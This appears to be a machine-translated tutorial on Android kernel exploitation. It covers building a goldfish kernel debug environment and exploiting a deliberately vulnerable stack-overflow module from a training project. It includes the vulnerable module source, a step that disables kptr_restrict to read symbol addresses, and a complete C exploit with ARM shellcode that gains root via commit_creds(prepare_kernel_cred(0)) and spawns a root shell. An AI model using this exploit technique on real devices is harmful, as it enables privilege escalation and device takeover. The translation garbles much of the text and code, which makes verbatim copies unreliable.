Objective
Android
Kernel is kernel-based, so exploiting the exploits in the kernel is similar to using the kernel in the Linux
Android
general x86 platform linux
. The main difference is that the Android
use of the arm
assembly and the construction of the environment. This article on my recent practice to do a share, in fact, very simple.
Kernel Debug Environment Setup
Build Platform:ubuntu 16.04
android
the emulator is used here to debug the kernel. Download the kernel code first
git clone https://aosp.tuna.tsinghua.edu.cn/kernel/goldfish.git
Then download github
an Android exploit on the project,
git clone https://github.com/Fuzion24/AndroidKernelExploitationPlayground.git kernel_exploit_challenges
The kernel is then compiled with the files in the project patch
patch
to compile the vulnerable modules in the project into the linux
kernel
git am --signoff < ../kernel_exploit_challenges/kernel_build/debug_symbols_and_challenges.patch && cd .. && ln -s $(pwd)/kernel_exploit_challenges/ goldfish/drivers/vulnerabilities
Note here: goldfish
directories and kernel_exploit_challenges
directories to be in the same directory
Then download the arm-linux-androideabi-4.6
cross-compilation tool chain. After the download is done, unzip it and add it to the environment variable.
tar xvf arm-linux-androideabi-4.6.tar.bz2 export PATH=$(pwd)/arm-linux-androideabi-4.6/bin/:$PATH
Then go goldfish
to the directory and start compiling
make goldfish_armv7_defconfig && make -j8
Once the compilation is complete, there will be two main files: goldfish/vmlinux
and goldfish/arch/arm/boot/zImage
. The previous one is used for loading at debug time gdb
, and later for loading when the Android emulator starts.
Download Android sdk
to download and run the Android simulator below.
sdk
:http://dl.google.com/android/android-sdk_r24.4.1-linux.tgz
And then sdk
unzip the
tar xvf android-sdk_r24.4.1-linux.tgz
Add the Android-sdk-linux/tools to the environment variable, adding the following command to the end of ~/.BASHRC < change the directory in the command to your directory >
export PATH=/home/haclh/hacktools/android-sdk-linux/tools:$PATH
Then reopen a shell, use the following command < Download the JDK first, and set the environment variables >
android
Then download the two below
To
After the download is complete. First view the downloaded image file
$android list targetsAvailable Android targets:----------id: 1 or "android-19" Name: Android 4.4.2 Type: Platform API level: 19 Revision: 4 Skins: HVGA, QVGA, WQVGA400, WQVGA432, WSVGA, WVGA800 (default), WVGA854, WXGA720, WXGA800, WXGA800-7in
Then create the emulator
android create avd --force -t "android-19" -n kernel_challenges
Then go to the goldfish directory, use our kernel to run the emulator using the following command, and start with a gdbserver on port 1234 to facilitate kernel debugging
emulator -show-kernel -kernel arch/arm/boot/zImage -avd kernel_challenges -no-boot-anim -no-skin -no-audio -no-window -qemu -monitor unix:/tmp/qemuSocket,server,nowait -s
The first run has a similar result:
$ Emulator-show-kernel-kernel ARCH/ARM/BOOT/ZIMAGE-AVD Kernel_challenges-no-boot-anim-no-skin-no-audio-no-windo W-qemu-monitor Unix:/tmp/qemusocket,server,nowait-swarning:userdata image already in use, changes would not persist! Creating filesystem with parameters:size:576716800 Block size:4096 Blocks per group:32768 inodes per group : 7040 Inode size:256 Journal blocks:2200 label:blocks:140800 block groups:5 Reserved Block Group size:39created filesystem with 11/35200 inodes and 4536/140800 Blockswarning:cache image already on use, changes'll no T persist! Creating filesystem with parameters:size:69206016 Block size:4096 Blocks per group:32768 inodes per group: 4224 Inode size:256 Journal blocks:1024 label:blocks:16896 block groups:1 Reserved block Group si ze:7created filesystem with 11/4224 inodes and 1302/16896 blocks ..................................................................
To facilitate the subsequent operation we need to add the cross-compiler toolchain to the environment variables. Add the following command to the end of the ~/.BASHRC < change the directory in the command to your directory >
exportPATH=/home/haclh/hacktools/arm-linux-androideabi-4.6/bin/:$PATH
Then reopen the shell, go to the goldfish directory, load the vmlinux to debug the kernel
arm-linux-androideabi-gdb vmlinux
If everything is OK, you should get the output similar to the following
GNU gdb (GDB) 7.3.1-gg2Copyright (C) 2011 Free Software Foundation, Inc.License GPLv3+: GNU GPL version 3 or later
Then connect the debug port inside the simulator
(gdb) target remote :1234Remote debugging using :1234cpu_v7_do_idle () at arch/arm/mm/proc-v7.S:7474movpc, lr(gdb)
If you can see that the output indicates that the kernel debugging can be done properly.
Kernel stack Overflow exploit
First look at the vulnerability code kernel_exploit_challenges/challenges/stack_buffer_overflow/module/stack_buffer_overflow.c
:
#include <linux/module.h> #include <linux/kernel.h> #include <linux/init.h> #include <linux/proc _fs.h> #include <linux/string.h> #include <asm/uaccess.h> #define Max_length 64module_license ("GPL"); Module_author ("Ryan Welton"); Module_description ("Stack Buffer Overflow Example"); static struct Proc_dir_entry *stack_buffer_proc_entry;int proc_ Entry_write (struct file *file, const char __user *ubuf, unsigned long count, void *data) {char buf[max_length]; if (Copy_from_user (&buf, Ubuf, Count)) {PRINTK (kern_info "stackbufferprocentry:error copying data from USERSP Ace\n "); Return-efault; } return count;} static int __init stack_buffer_proc_init (void) {stack_buffer_proc_entry = Create_proc_entry ("Stack_buffer_overflow", 0666, NULL); Stack_buffer_proc_entry->write_proc = Proc_entry_write; PRINTK (kern_info "created/proc/stack_buffer_overflow\n"); return 0;} static void __exit stack_buffer_proc_exit (void) {if (stack_bufFer_proc_entry) {remove_proc_entry ("Stack_buffer_overflow", stack_buffer_proc_entry); } PRINTK (kern_info "Vuln_stack_proc_entry removed\n");} Module_init (Stack_buffer_proc_init); Module_exit (Stack_buffer_proc_exit);
The code above creates a /proc/stack_buffer_overflow
device file that is called when a system call is made to the device file and the write
function is invoked proc_entry_write
for processing.
The vulnerability is obvious, where proc_entry_write
a byte-sized stack buffer is defined in the function, and then the data is 64
buf
copy_from_user(&buf, ubuf, count)
copied from the user space, and the buf
size and content are user-controllable. So when we enter more than 64
a byte we can overwrite other data, such as return address, and so on, and then hijack the program to execute the flow into our shellcode
right to raise.
First, let's try to trigger the vulnerability. Open the simulator first, then the ADB shell enters the simulator and uses the Echo command to enter 72 bytes of data into the/proc/stack_buffer_overflow device.
echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > /proc/stack_buffer_overflow
You can see that the value of the PC register is 0x41414141 successfully hijacked. The kernel does not open PXN when testing, so we can write shellcode in the user configuration to let the kernel execute. The extraction method is very simple, the kernel state calls the commit_creds(prepare_kernel_cred(0));
elevation permission to root, and then returns the user state to execute execl("/system/bin/sh", "sh", NULL);
a root
permission to complete the shell
right.
prepare_kernel_cred
commit_creds
The address of the function is obtained first. The /proc/kallsyms
name of all the kernel symbols and their location in memory are saved in the file.
However, in the most recent kernel version, the linux
kernel currently prohibits general users from acquiring symbols in order to make exploitation of kernel vulnerabilities more difficult. Specifically, you can see here.
When enabled kptr_restrict
we cannot get the kernel symbolic address.
[email protected]:/ # cat /proc/kallsyms | grep commit_creds 00000000 T commit_creds
In this article, disable it, regardless of him.
[email protected]:/ # echo 0 > /proc/sys/kernel/kptr_restrict [email protected]:/ # cat /proc/kallsyms | grep commit_creds c0039834 T commit_creds[email protected]:/ # cat /proc/kallsyms | grep prepare_kernel_cred c0039d34 T prepare_kernel_cred
After disabling, we can /proc/kallsyms
get commit_creds
the address by and prepare_kernel_cred
.
At this point, the right to solve the problem, the following is to return to the user state, the x86
platform has instructions to return iret
to the user state, the arm
next return to the user state is more simple. The arm
bits in the lower cpsr
register are used to indicate the M[4:0]
operating mode of the processor, which can be seen in detail.
So we cpsr
set the bit of the register M[4:0]
to the latter to 10000
indicate that the processor has entered user mode.
So now the use of ideas are:
Invoke commit_creds(prepare_kernel_cred(0))
elevated permissions
Call the mov r3, #0x40000010; MSR CPSR_c,R3;
set cpsr
register to cpu
enter user mode
Then execute execl("/system/bin/sh", "sh", NULL);
a root
permission-shell
The final exp
:
#include <stdio.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/ mman.h> #define MAX 64int open_file (void) {int fd = open ("/proc/stack_buffer_overflow", O_RDWR); if (fd = =-1) Err (1, "open"); return FD;} void payload (void) {printf ("[+] enjoy the shell\n"); Execl ("/system/bin/sh", "sh", NULL);} extern uint32_t shellcode[];asm (". text\n" ". Align 2\n" ". Code 32\n" ". Globl shellcode\n\t" "shellcode:\n\t"// Commit_creds (prepare_kernel_cred (0));//Get Root "LDR R3, =0xc0039d34\n\t"//prepare_kernel_cred addr "MOV R 0, #0 \n\t "" BLX r3\n\t "" LDR R3, =0xc0039834\n\t "//commit_creds addr" BLX r3\n\t "" mov R3, #0x40000010 \n\t "" MSR Cpsr_c,r3\n\t "" LDR R3, =0x879c\n\t "//Payload function addr" BLX r3\n\t "); void Trigger_vuln (int fd) { #define MAX_PAYLOAD (MAX + 2 * sizeof (void*)) Char buf[max_payload]; MeMset (buf, ' A ', sizeof (BUF)); void * PC = buf + MAX + 1 * sizeof (void*); printf ("Shellcdoe addr:%p\n", ShellCode); printf ("payload:%p\n", payload); * (void * *) PC = (void *) ShellCode; RET Addr/* kaboom! */write (FD, buf, sizeof (BUF));} int main (void) {int fd; FD = Open_file (); Trigger_vuln (FD); Payload (); Close (FD);}
Reference links
http://www.cnblogs.com/armlinux/archive/2011/03/23/2396833.htmlhttp://blog.sina.com.cn/s/blog_6ac051b2010123cz.htmlhttp://bobao.360.cn/learning/detail/3702.htmlhttps://github.com/Fuzion24/AndroidKernelExploitationPlayground
Android Kernel exploit technology: Environment building & Stack Overflow actual combat